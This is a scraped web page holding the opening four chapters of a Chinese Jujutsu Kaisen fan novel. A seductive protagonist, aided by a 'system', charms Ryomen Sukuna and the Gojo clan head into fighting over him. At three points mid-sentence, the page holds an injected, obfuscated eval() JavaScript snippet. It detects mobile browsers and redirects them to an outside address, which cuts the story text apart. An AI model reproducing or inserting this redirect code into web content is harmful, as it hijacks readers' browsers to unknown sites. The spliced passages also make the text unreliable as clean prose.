《万人迷如何成为黑月光》 1. 第 1 章 丹波地区出现了反常的咒灵聚集状况。 多数情况下,咒灵不会离开它们诞生的地区。而大片咒灵聚集到某处,本身就代表着异常事情的开端。 “是咒术师特意制造这种局面,还是咒灵本身出现了异变?” 五条律皱着眉,丹波地区紧邻平安京,难保不会对平安京产生威胁,他们不能放任不管。 他对族人说道:“先派遣一支咒术小队前往探查情况……如果无法解决,立刻再度调派人手。” 禅院、加茂、五条,是咒术世家中的三大名门,各自负责邻近平安京的不同区域。而五条律不仅要考虑这是诅咒师所为,还要防备这可能是其他两家针对五条家而故意制造的祸端。 但第一波过去的族人如同消失般再无踪影,通过咒术传递的消息石沉大海,再度派遣的族人也是同样的结局。 五条律的不祥预感越来越强,支援的族人中甚至有一级咒术师,却也失踪了——而这往往意味着死亡。咒术师常与死亡为伴,不幸本就如影随形。 五条律缓缓吐出一口浊气,下定决心亲自前往丹波一探究竟,这是他身为五条家主的职责。 然而事情的起因却不是任何咒术师作祟,而是更为单纯的原因罢了。 * “——所以,我要顶着孤儿的身份开局,在这片什么都没有的荒郊野外生存?” 花纪似笑非笑,指着除了杂草树木外几乎什么都没有的森林,向系统质问。 “我没记错的话,当时可是你主动找上我,现在你就是这么帮我的?” [……抱歉。] 系统的声音虽然依旧平静,却隐约能听出一丝愧疚。 [第一次太仓促,下次不会了。] 下次?系统真够了解他,是觉得他很快就会重开,提前做好下周目的准备吗? 不过以他的性格,确实会如此。 [这里这么多咒灵,正好可以利用它们。] 系统提出新的建议,花纪愉快地接受了。 “虽然那些家伙丑陋又无力,但能派上用场,总归还是有那么点价值,不是完全一无是处嘛。” 聚集在他身边的咒灵们中智力稍高的个体听懂了他的话,被评价为丑陋不堪的脸上露出难过的神色,不怎么聪明的小脑袋瓜又很快意识到自己还被看重着——有价值就意味着有用吧?于是像小狗般摇晃布满尖刺的尾巴。 [啧,真是不怎么聪明。] 系统语气中的嫌弃不加掩饰,对这些听话的咒灵们的不满几乎要满溢出来。 花纪赞同地颔首,他也想要更强力一点的咒灵,可惜这附近的咒灵们强大的不多。毕竟是不适宜居住的地区,缺少人类也就缺少负面情感,很难孕育出多少强大的咒灵。 “但听话的孩子们总是可爱的,就算弱小也拥有着这项优点。好了,大家帮我把这里改造成更宜居的住处吧。” 咒灵们顺从地接受了他的指示,各自展开了行动。 “不过还不够。” 花纪喃喃道,“这些咒灵还不够强,我还要更强的咒灵——去其他地方转转吧。” 聚集在此处的咒灵们越来越多了,原本无人居住的森林逐渐有了一处像模像样的住处。对于智力有限的咒灵,能做到这种程度已经很不容易了,花纪也不要求更多。 [有人类注意到了这里。] 系统提示道,花纪稍微提起了点精神,用在人类眼中堪称完美无瑕的面容露出了愉快的笑容,“是吗?就让我看看他们够不够强吧。” 遗憾的是,这次考验的结果是无人生还。 “还是太弱了啊……不过这么弱小的家伙,就不要妄想得到自己不能得到的东西。” 花纪百无聊赖地看着一地的尸体,又看着向他邀功的咒灵,表扬地摸了摸出力最多的咒灵的脑袋。虽然嘴上说这些咒灵丑陋,却丝毫不在意的坦然和它们接触,这点让系统很不是滋味。 系统见咒灵欢快的模样,那么肿胀的眼睛竟然都高兴地眯成了一条缝,终于忍不住开口。 [既然你觉得他们丑陋,就别和他们接触,免得弄脏自己的手。这不过是些脏东西而已,不值得这么表扬。] “那是它们太弱小了才会丑陋,而且你仔细看看,这孩子的触手多么可爱啊!这圆滚滚的吸盘,柔韧的触腕,还有这么多小眼睛,真是让人怜爱。” 这么说着,花纪带着喜爱的表情抚摸章鱼咒灵的触手。看着这一幕,系统陷入深沉的思考。 紫色章鱼模样的咒灵有着多条触手,触手上不仅有着数个吸盘,吸盘还是人类眼睛的模样。以人类的审美来看,无论如何都不能和“可爱”这个词沾边,漂亮就更谈不上了。 [……你真的那么喜欢吗?] 系统很是迟疑的询问,得到的是花纪毫不犹豫的肯定回复。 于是系统安心了,暂时不再对这些咒灵不满了。 * 五条家的咒术师神色凝重地望着森林深处,那里已经成为了咒灵的巢穴。在缺少人烟的地方能有这么多咒灵是非常罕见的情况,而且对比之前的调查结果,现在那里咒灵隐约散发的威压已经完全不是上一次调查时可比了。 咒灵聚集的速度太快了,无论是质还是量都在不断提升。即便加茂和禅院家并不负责这块区域,也注意到这异常的状况。如果不早点处理,说不定他们会禀告天皇,最后倒霉的还是五条家。 前两批人已经失踪恐怕凶多吉少,负责随时汇报情况的五条家咒术师焦急地等待后续支援的人手到来,发现陌生咒力时脸色骤变,他想要说话,却发不出声音,世界天旋地转。 “反应还是太迟钝了,看来五条家的咒术师也不过如此。” 男人语气轻蔑,话语的内容更是毫不客气。然而咒术师已经无力反驳,任由头颅掉落在地,沾染地上的泥灰。 男人漫不经心地走着,即使周围全是咒灵,不乏危险的气息,他也如同漫步于自家后花园之中,毫无畏惧之色。 “不上前攻击吗?” 两面宿傩挑眉,随着他的深入,周围的咒灵仍旧没有上前攻击的意图。于是他不再遮掩气息,赤|裸裸地散发咒力威压。 咒灵们即使瑟瑟发抖,却没有逃跑,仍然待在原地。两面宿傩饶有兴趣地看着这一幕,探究之心更强了。 再低级的咒灵面对绝对强大的存在也会有求生的欲望,这种时候它们并不逃跑,显然是遵从控制它们的人的命令,才会死守在这。这说明它们将执行命令放在第一位,连死亡也不怕。 那么它们又不攻击他,这也是遵从主人的命令。毕竟不畏惧死亡,也代表不害怕与他战斗。没有攻击的意图,主动放他深入,在背后操纵咒灵的人就这么有自信能打败他吗? 两面宿傩在升起兴趣的同时,又感到了些许的不爽。 能与有趣的对手交战享受战斗的乐趣是一码事,被人轻视又是另一码事。 虽然两面宿傩不在意名声这种东西,可在他成名之后已经很少遇到不被人视作威胁的情况。对方的自信,也代表对他的轻视。 两面宿傩很干脆地做出决定——那就在享受完战斗后,再给予对方痛苦死去,碍眼的东西消失就好。 不乏野兽出没的森林或许曾经有人在这里居住,但现在已经没有新鲜的人迹。两面宿傩维持着平时步行的速度,没有刻意缩短前进的时间,而是一路观察森林的情况,尤其是出现在这里的各种咒灵,评估其主人的实力。 咒灵身上没有他人的咒力气息,只有咒灵本身的咒力在躯体游走,说明其主人并不凭借直接的咒力作为控制手段。这样一来,聚集这么多数量的咒灵也就能理解了,否则光是直接供给咒力就是一个天文数字的消耗。 对咒灵的控制并不影响咒灵本身的独立思考,其主人不需要消耗额外的心力,只需简单下令就能轻松控制大量咒灵。 ……有趣。 咒术师中确实有控制咒灵的手段,但都有着各种限制。能做到这种程度,想必拥有十分罕见且强大的术式。 两面宿傩暂时停下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530212|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步伐,观察着映入眼帘的建筑。 不是常见的木质建筑,而是相对罕见的石造建筑。外观虽然比不得平安京那些贵族们的住所,却也称得上整洁美观。但最引人注意的,是空气中飘散的血腥味。 总不至于他尚未抵达,控制咒灵的人就被杀了吧? 两面宿傩迅速否定了这个猜想,外面的咒灵没有暴动,说明对方还安然无恙。这么一来,死去的人就只能是五条家的咒术师了。 虽然他对这些咒术师看不上眼,但客观来说,五条家的咒术师相比于外面那些喜欢形单影只的诅咒师,确实有些本事,只是比其他还差得远。这些人这么被杀,这让两面宿傩的兴致更高了——希望这人能让他多玩一会,待会可别那么容易就死了。 “又有新的客人了啊。” 未见其人先闻其声,只是凭借传入耳中的声音,就将两面宿傩原本的思考彻底打乱了。 轻柔的、如同蜂蜜般悦耳的声音,只是听着,味蕾就已经能品味到那股醇香,只是一句话就能让普通人轻易沦陷。 ……不妙。 两面宿傩的理智如此提醒,本来的游刃有余早就在听到声音的瞬间消失。他应该在这种时候做点什么让对方闭嘴,例如用「解」将对方斩为两半,排除声音对人体的干扰。 可他没有这么做,而是继续通往房间的深处。 情况非常不妙。 鼻尖嗅到若有若无的香气,随着距离的缩短,馥郁的香味越来越清晰。两面宿傩鼻翼翕动,猛地深吸一口气,想要把空气中的香气全部收入腹中。 还不够,完全不够。 两面宿傩舔了舔下唇,喉结滚动,某种欲望越发强烈,胃袋的存在越发明显,似乎有股怎样也无法填满的饥渴。 ……好想吃了对方。 明明之前就已经饱餐一顿,两面宿傩却觉得非常「饥饿」,他现在已经饿得不行了。 他好像回到了童年时代,食物无论怎么吃都不够,饥饿是回忆里存在感最强的词汇。 ……不过还不一样,在饥饿之中,现在似乎又掺杂了其他的成分。 两面宿傩迫切地想要打败对方,然后填饱肚子。 “你很强呢。” 作为诱饵的声音如此说道,两面宿傩抬头一看,坐在上方宝座的人就这么闯入了他的视野。 无论对方的容颜多么昳丽,两面宿傩此时想的却只有一个词汇——怪物。 拥有美丽皮囊的怪物。 声音是诱饵,香气是麻痹神经的手段,外表更是捕捉猎物的武器本身。 危险也与这份美丽本身等价,根本不是弱者能够把持的事物。 室内如同大殿般宽阔,逐渐攀高的阶梯仿若登向王座,宝座上的人高高在上地俯视下方。两面宿傩一向讨厌其他人俯视自己,但现在他无暇在意这点。 哪怕与贵族奢靡的住处相比相对简陋,却因为对方的存在,这里也像天宫一般奢华美丽。 不过无法忽视的,还是地面上流淌的褐色液体,刺入地面的各式武器,以及倒在地上的咒术师尸体。 “……你都做了什么?” 两面宿傩勉强维持理智,挤出声音。 “我只说了一句话而已。” 花纪的笑容不变,好心地在两面宿傩面前重复了一遍。 “‘我只会和最强的人在一起,谁能向我证明实力,我就选择谁。’” “那最后活下来的那个人呢?” “真可惜,他没能打败这些孩子们。” 两面宿傩得出了答案,因为活下来的人没能打败咒灵,所以这场“选拔”的结果是无人生还。 ……真是恐怖的魔性之貌。 诅咒和咒术师都逃不过这份魅惑。 “但你足够强。” 绮丽的眼睛一瞬不瞬地望着两面宿傩,其中流转的爱意只是些许就能让人醉醺,不知不觉间被剥夺理性。 花纪绽放出衷心的笑容,愉悦道:“所以我喜欢你,我可以和你在一起吗?” 2. 第 2 章 面对轻易就能让人沦陷的笑容,还有那如同犒赏饿狗般的“喜欢”话语,两面宿傩还在顽强抵抗。 理智在告诉他,不能就这么答应,否则与主动落入陷阱无异。 倒不是因咒术制约必须遵守约定,而是某种由心灵构筑的防线。一旦答应下来,无形的事物就会因此崩塌。 迷醉的香气还在麻痹思维,直面这份美貌的冲击更是难以化解的攻击。两面宿傩深刻意识到对方究竟有多么棘手,这种精神攻击换作常人恐怕早在第一眼见到对方时就沦陷了,就如倒在地上死去多时的咒术师们,不自量力地因为几句话就丧了命。 两面宿傩咬紧牙关,肉|体的深处反复叫嚣着吃了对方,这样彼此就能融为一体,永远占据这份宝物。但产生的不仅是食欲,在看到对方后,两面宿傩终于明白了之前模糊不清的欲望究竟是什么。 与食欲一样,都是人类所具有的原始欲望。 两面宿傩并非什么都不懂,只是以前他对此嗤之以鼻,认为只有食欲才是最重要的欲望,除此之外就是战斗。爱情这种东西,他对此向来不屑。 但这一刻,他竟然“爱”上了某个存在。 哪怕只是对方的能力所致,对于两面宿傩而言仍旧是种新奇的体验。 只是这种体验太危险了。 完美符合人类对“美丽”这个词汇所有的憧憬的不知名存在,脸上的笑容更加艳丽了。 [这个人类很棘手。] 哪怕不知道系统的模样,也能凭借语气猜出对方恐怕正不愉快地皱眉,花纪解释道。 [但他挣扎的表情很有趣,非常值得品味。] 哪怕魅惑失败的结果可能是死亡,花纪依然饶有兴趣地欣赏着面前两面四臂、身材壮硕的男人因为突如其来的“爱情”而失控的模样。 反正他和系统做了交易,就算死亡,损失的也只是一具□□,不会对本体产生影响,因此花纪不介意满足自己的趣味,做点看似危险的事。 “可以告诉我你的名字吗?我叫花纪。” 柔和的声音十分动听,两面宿傩听过那些贵族们摆弄的乐器所奏出的音乐,听后的感受远远不能同对方的声音相提并论,只是简单的交谈都能给身心带来极大的满足。 那些咒术师中招倒也不冤。 两面宿傩稍微改了改对五条家咒术师的第一印象,虽然都是些弱者,但死的倒不是太可笑。 两面宿傩额角青筋暴起,肌肉如同绷紧的弓弦,几乎忍耐到了极限。 距离拉近了。 是花纪走下阶梯,主动靠近了他。 黑发的美少年有着瑰丽的紫色眸子,如同盛放的紫罗兰,伸出对于两面宿傩而言纤细弱小的手臂,就这么抱住了他的腰。 由于身高的差距,除非两面宿傩刻意蹲下来,否则花纪无法搂住他的脖颈。 不过花纪不在意,把脸贴在两面宿傩袒露在外的胸口上,用柔软的声线说道:“我真的、真的非常喜欢你。” 紧贴着胸口的柔软脸颊,是两面宿傩从未接触过的细腻触感,恐怕那些从小娇养在深闺的天皇之女都不会有这么细嫩的肌肤。环着腰部的手臂是那么纤细脆弱,好像稍稍用力就会折断,因此两面宿傩根本不敢动弹。 ……不,他为什么要顾忌会伤害到对方?这根本不是他该想的事! 两面宿傩残存的理智如此叫嚣,可他的身躯还是一动不动,丝毫不听使唤。 甚至还告诉了对方自己的名字。 大脑不断回荡着少年刚刚的话语,两面宿傩试图将其驱除,然而胸口陌生的情感不断作祟,阻碍着他的行动。 花纪说喜欢他。 还说了两次。 就算两面宿傩知道这是为了迷惑他而吐露的虚假话语,对方亲近的举动也不过是为了进一步加深对他的控制,可低头注视着那双盈满爱意的紫眸,两面宿傩还是忍不住晃神。 ……或许,花纪真的有那么一点喜欢他? 两面宿傩残留的理智在心中对自己破口大骂“蠢货”,将刚刚的想法归咎于对方的能力导致思考能力降低,才会产生这么愚不可及的想法。 这份爱意,不过是眼前的怪物为了捕捉猎物准备的饵食。如果他真的上钩,才是真正的蠢货。 “我们离开这吧,这里的环境太差了,我想住更奢华的住处。” 花纪松开了搂着两面宿傩腰腹的双臂,转而拉起他的手,高大的身躯就这么被轻易拉着走,就像一头拴着绳子被拉着走的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530213|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乖顺小狗,一点也不费力。 “宿傩这么强,想得到什么都不费力吧?” 这个人只是喜欢他的强大而已,两面宿傩无比清晰地意识到这点。 如果他不强大,下场只会和之前这些被咒灵杀死的咒术师一样。哪怕和同类厮杀,赢得胜利成为最后的冠军,只要无法打败这些咒灵,之前的角逐都会白费,变成毫无价值的尸体,而对方也不会记住他的名字。 所以他要保持强大,成为最强才行,不然对方根本不屑于看他一眼。 “真羡慕啊……” 花纪感慨道,两面宿傩忍不住看了他一眼,开口道:“你想要什么东西,我帮你去抢。” ……不对,自己凭什么帮他去抢? 还有现在像狗一样被对方牵着走是怎么回事?他是两面宿傩,是被人害怕的诅咒师,凶名在外,不应该成为这家伙听话的狗! 但是花纪如此亲近他,一点也不害怕他,还牵着他的手。 掌心的触感是如此柔软,是相当陌生的体验,自母亲死后就没有人这么握着他的手了。 两面宿傩无比清楚,这些柔软的想法一点也不像他,全都是对方的能力,只需一眼就明白,这恐怖至极的精神控制是多么可怕,能让一个人轻易改变想法,深深爱上对方。 肉|体、声音、气味、眼神……一切的一切,都是为了狩猎而使用的手段。 说到底,这个家伙和他一样都是怪物。 他是两面四臂,被人视作畸形丑陋的怪物,而花纪就算有着可以诠释“美丽”本身的外貌,也是美到人类根本不该拥有的程度的怪物。 ……啧,同样是怪物,那些家伙厌恶他,却会深深爱上花纪,不知恐怖地自愿献上生命,真是可笑。 同为怪物的花纪会因此高兴吗? 两面宿傩注视着被握住的手掌,嗤笑一声。 厌恶进食,却为了生存而迫不得已为之,又怎么会高兴? 虽然不是咒灵,但存在的方式却与咒灵有异曲同工之处。 ……有趣。 那么他就算陪对方玩玩也没关系,反正他会变得更强,迟早挣脱控制。 到时候他会残酷地杀了敢控制他的人,让对方付出代价。 3. 第 3 章 两面宿傩是被花纪牵着走的,受限于花纪的速度,身材更高大的他不得不放慢了脚步,配合花纪前进的速度。 其实只要他主动抱起花纪,凭借自身强悍的肉|体素质,轻易就能前进数里,可即使被魅惑,两面宿傩还有着最后的倔强。 他凭什么这么积极?迫于无奈不得不暂时听从对方的话也就罢了,主动上前讨好算什么样子! 哪怕内心的爱意不断翻涌,疯狂地想要表现自己,以博得花纪的喜爱,两面宿傩还是不肯轻易低头。 理性和情感的割裂几乎把身体分成了两半,一半属于两面宿傩,一半属于花纪。依现在的情况来看,是花纪占了上风。 两面宿傩不清楚花纪的控制有没有范围和时间的限制,如果他勉力反抗,就算无法彻底下定决心杀死对方,也可以用拉开彼此距离的方式试着抵抗这份魅惑。只是这种体验太过新鲜,加上花纪的控制足够强力,两方作用下,两面宿傩最终决定暂时维持眼下的局面。 ……就当做是对他实力的考验和磨练了。 两面宿傩打量花纪的侧脸,无论从什么角度看,这张脸都找不出可以挑剔的地方。似乎天然就有种魔力,哪怕审美各异的人,都能从中深切体会到何为究极之美。 那么问题来了,对方的魅惑能力到底是咒术的一种,还是单纯的外表所衍生的附加效果呢? ……总不会真的有人能凭借“美”这种东西就能打败敌人吧? 如果花纪告诉他,自己什么术式都没用,只是凭借外表产生这种效果,他都会有那么一瞬间相信。 “你在看我吗?”花纪明知故问道。 两面宿傩完全不曾掩饰自己强烈的视线,而花纪早就习惯了这种目光。 在两面宿傩之前,就已经有很多人这么看过他了。 但那些人不够强,因此不是他挑选的目标。 喜欢两面宿傩是真的,否则花纪也不会用充满爱意的眼神凝视对方。 因为至少现在,他确实很爱宿傩啊。 “我在看你,不行吗?” 虽然在花纪面前有所收敛,但两面宿傩仍然不改以往以自我为中心的性格。 “当然可以。”花纪笑意加深,“被喜欢的人看着,是件值得高兴的事啊。” 这家伙总说漂亮话。 两面宿傩思忖,看着花纪弯起眼睛,发自内心露出笑容的模样,就像吸足养分而绽放的花,美不胜收,让人无法移开目光。 ……就连表情都像是真心喜欢他一般。 明明只是喜欢他的力量,换一个力量强大的人过来,对方也会展现同样的笑容。 想到这点,两面宿傩微妙地感到了不爽,就连脚步都暂时停了下来,眸子危险地眯起,不顾花纪看向他的疑惑视线,问道。 “你喜欢什么样的男人?” 是个麻烦的问题。 花纪觉得两面宿傩也是个麻烦的男人。 就算爱上了他,也不代表绝对会顺从他的心意,还会受到本人性格的影响,甚至还会因为“爱”而做出不可控的举动。 花纪小小地叹了口气,眉眼弯弯地回答:“我喜欢宿傩你这样的男人啊。” 他说的可是实话,就算测谎也不会有任何破绽。 两面宿傩:“……” 两面宿傩深吸一口气,就算现在,空气中的香味不仅没有散去,反而愈发浓郁,毕竟香气的来源正在他的身边。 这全都是对方能力的原因,不然他怎么会被这些场面话讨好? 花纪表现得喜欢他,这一定是伪装。就算有几分真心,也不会是冲着他本人,他绝对不能被迷惑。 傻瓜才会上当。 “那些咒灵要怎么处理?” 两面宿傩皱眉,周围的咒灵像是跟屁虫似的跟在他们身后,他可不想带着一帮咒灵在外行走。 如果花纪非要带走,他就—— “我已经不需要它们了。” 花纪笑吟吟道,“它们回到原本待着的地方就好,聚集起来才会引人注目,也不安全。” 两面宿傩又一次沉默了。 他的性格可谈不上寡言,只是遇到花纪之后,难以言喻的次数增加了。 虽然花纪的后半段话听起来是为咒灵考虑,可前半段话才是真相吧。 而且细思下去,花纪知道咒灵聚集的后果,却还要这么做。分明是想要利用这些咒灵作为饵食,打算钓上来一条大鱼。 ……那他就是机缘巧合主动上钩的猎物了? 两面宿傩都不知道该怎么形容自己现在复杂的心情了,但如果可以再来一次,他还是会做出相同的选择。 这不是他喜欢对方,只是不想就这么认输而已。 而且要是花纪找到更合适的对象,是不是也会这么干脆地抛弃他? 一定会吧。 两面宿傩毫不费力地得出了答案,他还想继续进行对话,只是被突然闯入的不速之客打断了。 “你们——” 五条律的话戛然而止。 一方面是因为两面宿傩凌厉的攻击,另一方面是六眼获得的情报。 五条律因为思考的中断而不得不直面了两面宿傩的斩击,若非身体本能的咒力防御,恐怕会伤得更重。 正是由于六眼的存在,五条律探知到的信息量远超普通咒术师,受到花纪的影响也就更大。 被点燃的爱意在心中熊熊燃烧,五条律对两面宿傩的杀意也就更甚平时。 不过五条律的敌意也是两面宿傩乐意见到的,他现在特别想杀了面前这个碍眼的白发咒术师,把那双不知道往哪里看的眼珠子挖出来,踩在脚下碾碎。 要是花纪觉得这个白毛更强,估计会毫不迟疑地选择对方,一秒也不会犹豫。 他怎么可能比这种咒术师弱!更不可能会输! “要加油啊,宿傩。” 花纪的目光在两面宿傩和闯入的白发咒术师身上游移,最后向着两面宿傩微笑。 紫眸深处的爱意如同天上的日轮,在两人的眼中十分灼目。 不提两面宿傩的怔愣,至少五条律的妒意倏地沸腾。 五条律知道这些感情多么突然又陌生,一切的起因都是这个美丽到妖异的少年。 是哪来的妖怪吗?莫非对方是九尾狐的化身? “……不用你说,我也会打败这家伙的。” 两面宿傩像是被烫到,又或者是害怕太过沉溺在那双紫眸之中,强行别开目光,杀气腾腾地对五条律继续展开攻势。 [这力量多美啊。] 花纪满怀爱意地看着两面宿傩的战斗,即使两人的战斗再怎么激烈,双方还是有刻意留意不波及到他。 平坦的大地支离破碎,茂密的森林遭遇灭顶之灾,一旁的咒灵们不免灰飞烟灭,全都是两人的交手造成的,而花纪就在旁边观看这副画面。 系统本想说两面宿傩不过如此,可见花纪满足的样子,又不好出言打击,憋了半天,才开口。 [我比他更强。] 祂作为魔术王,难道会比这些咒术师差吗?无论是两面宿傩,还是其他人,都不过是王后的一时过渡,很快就会被抛弃。 但祂不好言明身份,只能披着系统的马甲扮演应有的角色。 而且王后更喜欢可爱的触手,两面宿傩这些人类有吗?他们没有!而祂可是拥有七十二种形态的触手姿态! 这一点祂完胜! [所以比起他们,我更喜欢你。] 花纪直白的回复,让系统大脑宕机,之后再也没说话,疑似独自待着降温去了。 虽然第一招没能抵挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530214|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,但五条律身为五条家主,自然不是泛泛之辈。 对于早有名气的诅咒师两面宿傩,五条律如今充分认识到他的力量不容小觑。 “平民出身的咒术师竟然能成长到这种程度吗?” “呵,无法击败我的你可没资格高高在上的评价我。” 两面宿傩冷笑一声,虽然看不惯出身世家的咒术师俯视他人的作风,与五条律的战斗却没有丝毫松懈。 花纪当然希望两面宿傩胜出,不然他又要花费心思找下一个对象了。好歹刚刚的前期投入也是投入,白白损失令人不快。 但花纪又享受着两人厮杀的场面,源源不断的爱意作为力量涌入身体,还有更多更多…… [我会成长的更强,这样才能实现我们的约定。] 其实用“交易”这个词汇更加准确,但花纪选择用“约定”这种更温情的词汇。 系统则是没有迟疑,迅速回答,[我相信你的潜力。] 而这些为王后争风吃醋的男人,不过都是食粮,根本没有正眼直视的价值,构不成威胁。 祂得出结论后,心情也舒服了些。 两面宿傩和五条律的战斗太过激烈,造成的影响很快就引起了附近咒术师的注意。而这附近是五条家驻守的区域,五条家的咒术师又很快赶来,两面宿傩注意到这一点,不悦地啧了一声。 如果是以前,两面宿傩不介意留下来陪这些虫子们玩玩,但现在不一样,他有更重要的人需要守住。 绝对不能交给除了他以外的家伙。 他不是喜欢花纪,只是不想成为迅速被丢掉的前任,只要想到这一点就格外火大。 ……嗯,充其量还有一点,讨厌那些男人觊觎的视线,更不愿意看到那张漂亮的脸对别人露出笑容。 两面宿傩深入思忖,很快就给自己一个新的解释。 花纪是属于他的,没人愿意自己的东西被别人占有。 两面宿傩完成了自我说服。 花纪倏地被两面宿傩抱起,没有惊慌,而是身体做出配合的姿态,坐在两面宿傩下方的一条手臂上,任由其他手臂揽住自己。 客观来看,两面宿傩抱人的手法除了一开始很生疏外,很快就掌握到了诀窍。即使前进的速度远超常规咒术师,跳跃的高度动不动就几米高,怀抱却十分平稳,哪怕是婴儿都能陷入香甜的睡眠。 至于那些咒灵,也被甩在了身后。 就算在赶路,两面宿傩也没忘记重要的事,那就是找个舒适的住处。 作为一名上了咒术师黑名单的诅咒师,他没有固定的据点,平时也是随心所欲,从来不固定在某一处,因此惹出的是非不在少数。 而现在,两面宿傩不得不考虑过去从来没思考过、也不屑于思考的问题。 “……你想住哪?” 两面宿傩询问道,他不认为自己是在意花纪的感受,只是不想费了半天功夫,结果对方不喜欢以至于白费力气而已。 花纪思索了一瞬,给出答案:“我不想住别人住过的地方。” 两面宿傩排除了杀人夺房、鸠占鹊巢的选项。 “找人给我盖吧,这样还能选择喜欢的风格。” 两面宿傩耐着性子继续问道:“你喜欢什么风格?” 花纪蹙着眉,迟迟未答。虽然是他提出来的,如今却很是困扰的样子。 两面宿傩已经开始思考要不要抓些知名的工匠过来,各种建筑风格尝试一遍,让人挑选一下,才听他道。 “我没有特别喜欢的风格,还是按照宿傩你的喜好来吧。” 黑发紫眸的美少年靠在身材结实的男人怀中,用指腹摩挲着两面宿傩凸起的喉结,全然不顾对方身体骤然的僵硬,语带笑意道:“毕竟这是我和你住的地方,是我们的家,自然要你喜欢才行。” 4. 第 4 章 脖子是人类致命的弱点之一,哪怕两面宿傩的肉|体强度与普通人有着不可逾越的鸿沟,能够借助咒力强化躯体或者反转术式修复伤势,可刻在人类骨子里的本能不会改变,说到底他还是人类。 多久没有人能这么近距离地触摸他的这里了呢?对方还用“家”这种显得温馨的词汇,好像他们真的是彼此相爱的恋人。 花纪无比自然地做出亲近的举动,两面宿傩明知对方的本质,却还是会被诱惑。 真是恐怖的力量。 两面宿傩见过不少实力强劲的家伙,却是头一次切身体会到比起确切的武力,无形的魅惑也能令人臣服。 更可怕的是通过武力的方式,还会产生怨怼,而通过爱意的作用,却能让人心甘情愿地付出一切。 “……很快就会建成。” 两面宿傩的语气有些僵硬,不习惯于这种含情脉脉的相处方式。 他才不是特意讨好对方,只是因为这也是他住的地方,才稍微上心了些。 他现在做的一切,都不过是为了打败花纪、破除控制所做的努力而已。迟早他会找到破解的方法,将羞辱他的花纪给—— 想到这里,两面宿傩的思绪陷入了停滞。 好半天,两面宿傩才在心里默默补充。 杀了怪可惜的,等轮到他掌握主导权时,再想怎么处置对方吧。 * 住处如两面宿傩所说的一样,很快就建成了。 当然,不可能是两面宿傩亲力亲为。在找到合适的临时住所将花纪安置后,他每天都会消失一段时间,又很快回来。发现花纪好好地待在原地,两面宿傩紧皱的眉头才稍微放松,身上慑人的气息也缓和许多。 两面宿傩不允许除了他以外的人接近花纪,任何人都不行。 不仅是人类,两面宿傩连咒灵也不允许花纪接近。 于是每天花纪打发时间的节目之一,就是围观两面宿傩进行“大扫除”,清理各种咒灵。 然而咒灵根本杀不尽灭不完,就算明知前面是死路一条,仍旧源源不断的出现。 两面宿傩黑着脸,不是对着花纪,而是对着这些扰人的咒灵,终于忍无可忍地向花纪问道:“以前那些咒灵也是主动跑到你那的吗?” 两面宿傩指的是在两人相遇之前,花纪周围那些服从他命令的咒灵。 两面宿傩本以为是花纪主动找到咒灵并控制了它们,可眼下看来并非如此。 花纪眨了眨眼,想到两面宿傩最近和咒灵斗智斗勇的举动,忍不住轻笑一声,慢条斯理道:“就算我什么也不做,这些孩子们也会靠过来。不过之前的话,我确实有比现在多转了两圈。” 两面宿傩现在和咒灵有着不共戴天之敌。最开始是直接手撕了那些想要贴到他脚边的咒灵,又不厌其烦地消灭扎堆的咒灵,用「解」大范围清除咒灵。因为他说这样太吵了,两面宿傩用狠厉到随时都能把人生吞活剥的表情,改为用更麻烦、制造的声响却能小一些的方式把咒灵消灭了个干净。 托他们的福,他负责吸引咒灵,两面宿傩则负责消灭咒灵,周围的地区想必能过上短暂的没有咒灵侵扰的生活。 不过要是说出来,两面宿傩想必会露出一脸厌恶、仿佛吃到烤成黑炭的烤肉的表情吧。 闻言,两面宿傩的脸色更黑了,就像阴沉沉的黑云,恨不得把让他不高兴的咒灵们统统劈成焦炭。 “我会把那些烦人的家伙碾碎得什么都不剩。” 说完这些话,两面宿傩去了厨房,用不符合他远超平安京时代平均身高的高大身体和健壮手臂,灵活娴熟地使用厨具烹饪料理。 ……居然没有责怪是他引来的那些咒灵吗。 花纪对两面宿傩有了些许改观。他坐在庭院里的石凳上,观看两面宿傩在厨房里忙碌的场景。 这个临时的住所不大,却是两面宿傩花了一天时间建造出来的。虽然有些粗糙,不过已经能看出用心了,是仿照他之前的据点建造的。 其实花纪并不需要进食人类的食物,他和人类存在根本上的区别,食谱自然不同。 不过对于这一点,花纪什么也没说,只是面带微笑,默默地吃下两面宿傩制作的食物。 好在两面宿傩其实有着正常人的常识,不管自己的喜好如何,至少端到他面前的食物还算正常范围内,意外的味道不错。 